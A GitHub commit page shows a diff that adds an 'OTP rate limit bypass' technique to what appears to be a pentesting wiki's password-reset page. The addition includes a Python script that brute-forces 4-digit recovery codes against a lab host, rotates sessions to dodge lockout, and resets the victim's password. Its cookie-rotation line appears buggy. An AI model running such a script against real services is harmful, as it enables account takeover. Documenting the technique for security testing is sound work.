Skip to content

Commit ea47622

Browse files
authored
Merge pull request #1020 from coderMohammed1/password_reset_by_rateLimit
Adding a new trick to password reset attacks!
2 parents 3ac149b + e7ae565 commit ea47622

1 file changed

Lines changed: 64 additions & 0 deletions

File tree

src/pentesting-web/reset-password.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -182,6 +182,70 @@ uuid-insecurities.md
182182
- **Mitigation Steps**:
183183
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
184184

185+
## **OTP rate limit bypass by changing your session**
186+
187+
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
188+
- **exploitation**:
189+
- just request a new session token after getting blocked by the server.
190+
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
191+
192+
``` python
193+
# Authentication bypass by password reset
194+
# by coderMohammed
195+
import requests
196+
import random
197+
from time import sleep
198+
199+
headers = {
200+
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
201+
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
202+
}
203+
url = "http://10.10.12.231:1337/reset_password.php"
204+
logout = "http://10.10.12.231:1337/logout.php"
205+
root = "http://10.10.12.231:1337/"
206+
207+
parms = dict()
208+
ter = 0
209+
phpsessid = ""
210+
211+
print("[+] Starting attack!")
212+
sleep(3)
213+
print("[+] This might take around 5 minutes to finish!")
214+
215+
try:
216+
while True:
217+
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
218+
parms["s"] = 164 # not important it only efects the frontend
219+
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
220+
221+
if ter == 8: # follow number of trails
222+
out = requests.get(logout,headers=headers) # log u out
223+
mainp = requests.get(root) # gets another phpssid (token)
224+
225+
cookies = out.cookies # extract the sessionid
226+
phpsessid = cookies.get('PHPSESSID')
227+
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
228+
229+
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
230+
ter = 0 # reset ter so we get a new session after 8 trails
231+
else:
232+
ter += 1
233+
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
234+
print(len(res.text)) # for debug info
235+
print(phpsessid)
236+
237+
reset_data = { # here we will change the password to somthing new
238+
"new_password": "D37djkamd!",
239+
"confirm_password": "D37djkamd!"
240+
}
241+
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
242+
243+
print("[+] Password has been changed to:D37djkamd!")
244+
break
245+
except Exception as e:
246+
print("[+] Attck stopped")
247+
```
248+
185249
## References
186250

187251
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)

0 commit comments

Comments
 (0)